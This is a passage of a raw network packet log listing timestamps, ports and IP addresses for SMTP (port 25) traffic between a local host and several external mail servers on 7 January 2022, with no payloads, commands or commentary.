Jan 7, 2022 15:56:16.062858105 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062870026 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062880993 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062895060 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062911987 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062918901 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062936068 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062944889 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062959909 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062969923 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.062985897 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.062995911 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063009024 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063023090 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063035965 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063046932 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063071966 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063071966 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063087940 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063097954 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063121080 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063122988 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063148022 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063148975 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063163042 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063174009 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063191891 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063199997 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063215971 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063226938 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063242912 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063251019 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063270092 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063277006 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063292027 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063303947 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063318014 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063328028 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063344955 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063354015 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063368082 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063379049 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063395023 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063405037 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063419104 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063431978 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063446999 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063457012 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063471079 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063483000 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063498974 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063508987 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063524008 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063532114 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063549042 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063558102 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063574076 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063582897 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063597918 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063626051 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063688040 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063714981 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063731909 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063751936 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063868999 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063895941 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.063913107 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.063935041 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066128016 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066157103 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066196918 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066222906 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066483021 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066509008 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066534042 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066549063 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066826105 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066854000 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066880941 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066884995 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066905022 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066911936 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066932917 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066943884 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066957951 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.066968918 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.066984892 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067012072 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067018986 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067035913 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067051888 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067061901 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067066908 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067086935 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067092896 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067111969 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067115068 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067133904 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067137003 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067153931 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067162037 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067179918 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067188025 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067204952 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.067214966 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067238092 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067262888 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067291021 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067313910 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067338943 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067364931 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067389965 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067415953 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067437887 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067464113 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067488909 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067511082 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067534924 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067559958 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067584991 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067610025 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067634106 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067660093 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067684889 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067708969 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067734003 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067759037 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067785025 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067811966 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067827940 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067846060 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067872047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067898035 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067923069 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067945004 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067970037 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.067995071 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068022013 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068048000 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068072081 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068089962 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068108082 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068125010 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068140030 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068166018 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068191051 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068213940 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068238974 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068263054 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068289995 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068315983 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068361044 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068386078 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068409920 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068434000 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068459988 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068484068 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068510056 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068540096 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068564892 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068592072 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068617105 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068639994 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068665981 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068691015 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068715096 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068741083 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068763971 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068789005 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068815947 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068840027 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068897963 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068923950 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068948030 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.068974018 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.069000006 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.069022894 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.091504097 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.091526031 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.091732025 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.116103888 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116187096 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116211891 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116233110 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116257906 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116292953 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116313934 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116338015 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116360903 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116384029 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116408110 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116430044 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116456985 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116511106 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116533041 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116556883 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116581917 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116604090 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116868973 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116900921 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116924047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116950035 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116971016 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.116993904 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117017031 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117038012 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117060900 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117083073 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117105961 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117130041 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117315054 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117337942 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117537975 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117561102 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117583990 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117604971 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117629051 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117652893 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117674112 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117697954 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117721081 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117742062 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117763996 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.117990017 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118021965 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118067026 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118087053 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118099928 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118113995 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118128061 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118156910 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118181944 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118211031 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118223906 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118293047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118314028 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118329048 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118485928 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118499994 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118513107 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118587971 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118694067 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118721962 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118736982 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118751049 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118908882 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118922949 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118937016 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.118951082 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121332884 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121365070 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121383905 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121400118 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121439934 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121454000 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121468067 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121537924 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121566057 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121638060 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121668100 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121681929 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121750116 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121774912 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121795893 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121809959 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121860027 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121872902 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121944904 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.121958971 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122039080 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122052908 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122159004 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122173071 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122185946 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122276068 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122292042 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122399092 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122414112 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122442961 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122518063 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122531891 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122545958 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122571945 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122632027 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122644901 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122786999 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122801065 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122814894 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122827053 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122955084 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122970104 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.122984886 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123121023 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123133898 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123162985 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123178959 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123244047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123259068 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123327017 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123342037 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123372078 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123390913 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123405933 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123420000 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123563051 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.123578072 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.133739948 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.134226084 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.134416103 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.134462118 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.135109901 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.176448107 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.176474094 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.176575899 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.176613092 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.176817894 CET	25	49791	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:16.176836014 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.176883936 CET	49791	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:16.177006960 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.221201897 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.221333027 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.236345053 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.263256073 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.263303041 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.263438940 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.289041996 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.289252996 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.289294004 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.289375067 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.290380001 CET	49790	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:16.305583954 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.305614948 CET	25	49792	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:16.305743933 CET	49792	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:16.341711998 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341757059 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341783047 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341800928 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341826916 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341845036 CET	25	49790	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:16.341872931 CET	25	49790	142.250.150.26	192.168.2.4
